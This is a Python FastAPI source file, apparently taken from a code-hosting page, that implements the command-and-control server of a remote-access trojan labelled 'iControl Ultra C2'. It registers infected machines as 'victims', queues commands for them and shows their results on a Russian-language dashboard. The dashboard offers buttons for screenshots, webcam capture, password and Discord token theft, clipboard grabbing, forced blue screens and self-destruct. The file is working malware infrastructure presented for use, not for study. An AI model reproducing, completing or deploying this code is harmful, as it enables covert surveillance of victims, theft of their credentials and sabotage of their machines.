File size: 6,656 Bytes
90bfafc
 
4fa88a1
90bfafc
4fa88a1
 
90bfafc
4fa88a1
90bfafc
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
4fa88a1
90bfafc
 
 
 
 
 
4fa88a1
90bfafc
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
4fa88a1
 
90bfafc
 
4fa88a1
90bfafc
 
 
 
4fa88a1
 
 
90bfafc
 
 
 
 
 
 
 
 
 
4fa88a1
90bfafc
 
 
4fa88a1
 
 
 
 
90bfafc
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
import os, datetime, json, base64
from fastapi import FastAPI, Request, Form, UploadFile, File
from fastapi.responses import HTMLResponse, JSONResponse
from jinja2 import Template

app = FastAPI()
victims = {} # Хранилище в памяти. Для сохранения при перезагрузке используй SQLite.

DASHBOARD_HTML = """
<!DOCTYPE html>
<html lang="ru">
<head>
    <meta charset="UTF-8">
    <title>iControl Ultra C2</title>
    <style>
        :root { --bg: #000; --card: #1c1c1e; --accent: #0a84ff; --danger: #ff453a; --success: #32d74b; }
        body { background: var(--bg); color: white; font-family: -apple-system, sans-serif; margin: 0; padding: 20px; overflow-x: hidden; }
        .nav { display: flex; justify-content: space-between; align-items: center; border-bottom: 1px solid #333; padding-bottom: 10px; margin-bottom: 20px; }
        .grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(350px, 1fr)); gap: 20px; }
        .card { background: var(--card); border-radius: 20px; padding: 20px; border: 1px solid #333; }
        .tabs { display: flex; gap: 10px; margin-top: 15px; flex-wrap: wrap; }
        .tab-btn { background: #2c2c2e; color: #fff; border: none; padding: 5px 10px; border-radius: 8px; font-size: 11px; cursor: pointer; }
        .tab-btn:hover { background: var(--accent); }
        .console { background: #000; color: var(--success); padding: 10px; border-radius: 10px; font-family: monospace; font-size: 12px; margin-top: 10px; max-height: 150px; overflow-y: auto; }
        #modal { display:none; position:fixed; top:50%; left:50%; transform:translate(-50%, -50%); width:80%; max-width:700px; 
                 background: rgba(28,28,30,0.95); backdrop-filter: blur(20px); border-radius: 25px; padding: 25px; z-index: 1000; border: 1px solid #444; }
        #overlay { display:none; position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.8); z-index: 999; }
        img.res { width: 100%; border-radius: 12px; margin-top: 10px; border: 1px solid #444; }
    </style>
</head>
<body>
    <div class="nav">
        <h2>iControl <span style="color:var(--accent)">v3.0 Premium</span></h2>
        <div id="stats">Active: {{ victims|length }}</div>
    </div>
    <div class="grid">
        {% for hwid, data in victims.items() %}
        <div class="card">
            <div style="font-weight:bold; font-size:18px;">{{ data.info.username }} @ {{ hwid }}</div>
            <div style="color:var(--accent); font-size:12px;">{{ data.info.os }} | {{ data.ip }}</div>
            
            <div class="tabs">
                <button class="tab-btn" onclick="send('{{ hwid }}', 'screen')">🖥 Screen</button>
                <button class="tab-btn" onclick="send('{{ hwid }}', 'cam')">📷 Cam</button>
                <button class="tab-btn" onclick="send('{{ hwid }}', 'info_full')">ℹ️ Info</button>
                <button class="tab-btn" onclick="send('{{ hwid }}', 'passwords')">🔑 Pass</button>
                <button class="tab-btn" onclick="send('{{ hwid }}', 'discord')">💬 Disc</button>
                <button class="tab-btn" onclick="send('{{ hwid }}', 'clip')">📋 Clip</button>
                <button class="tab-btn" onclick="send('{{ hwid }}', 'crazy_mouse')">🖱 Fun</button>
                <button class="tab-btn" onclick="send('{{ hwid }}', 'bsod')">💀 BSOD</button>
                <button class="tab-btn" style="color:var(--danger)" onclick="send('{{ hwid }}', 'die')">Self-Destruct</button>
            </div>
            <div class="console" id="log_{{ hwid }}">{{ data.last_result[:200] }}</div>
        </div>
        {% endfor %}
    </div>

    <div id="overlay" onclick="closeM()"></div>
    <div id="modal">
        <h3 id="m_title">Result</h3>
        <div id="m_body"></div>
        <button onclick="closeM()" style="width:100%; margin-top:20px; background:var(--accent); color:white; border:none; padding:10px; border-radius:10px;">Close</button>
    </div>

    <script>
        async function send(hwid, cmd) {
            await fetch('/cmd', {
                method: 'POST',
                headers: {'Content-Type': 'application/x-www-form-urlencoded'},
                body: `hwid=${hwid}&command=${cmd}`
            });
            openM("Command Sent", "Waiting for host...");
            poll(hwid);
        }
        function poll(hwid) {
            const i = setInterval(async () => {
                const r = await fetch(`/api/res/${hwid}`);
                const d = await r.json();
                if(d.result !== "idle") {
                    if(d.result.startsWith("[IMG]")) {
                        document.getElementById('m_body').innerHTML = `<img src="data:image/jpeg;base64,${d.result.substring(5)}" class="res">`;
                    } else {
                        document.getElementById('m_body').innerHTML = `<pre style="color:var(--success); white-space:pre-wrap;">${d.result}</pre>`;
                    }
                    clearInterval(i);
                }
            }, 2000);
        }
        function openM(t, b) { 
            document.getElementById('m_title').innerText = t;
            document.getElementById('m_body').innerHTML = b;
            document.getElementById('modal').style.display='block'; 
            document.getElementById('overlay').style.display='block'; 
        }
        function closeM() { document.getElementById('modal').style.display='none'; document.getElementById('overlay').style.display='none'; }
    </script>
</body>
</html>
"""

@app.get("/", response_class=HTMLResponse)
async def index():
    return Template(DASHBOARD_HTML).render(victims=victims)

@app.post("/api/reg")
async def reg(data: dict, request: Request):
    hwid = data['hwid']
    victims[hwid] = {"ip": request.client.host, "info": data, "queue": [], "last_result": "idle"}
    return {"status": "ok"}

@app.get("/api/task/{hwid}")
async def task(hwid: str):
    if hwid in victims and victims[hwid]["queue"]:
        return {"cmd": victims[hwid]["queue"].pop(0)}
    return {"cmd": "idle"}

@app.post("/api/report")
async def report(data: dict):
    if data['hwid'] in victims:
        victims[data['hwid']]["last_result"] = data['result']
    return {"status": "ok"}

@app.get("/api/res/{hwid}")
async def get_res(hwid: str):
    return {"result": victims.get(hwid, {}).get("last_result", "idle")}

@app.post("/cmd")
async def add_cmd(hwid: str = Form(...), command: str = Form(...)):
    if hwid in victims:
        victims[hwid]["queue"].append(command)
        victims[hwid]["last_result"] = "idle"
        return {"ok": True}
    return {"ok": False}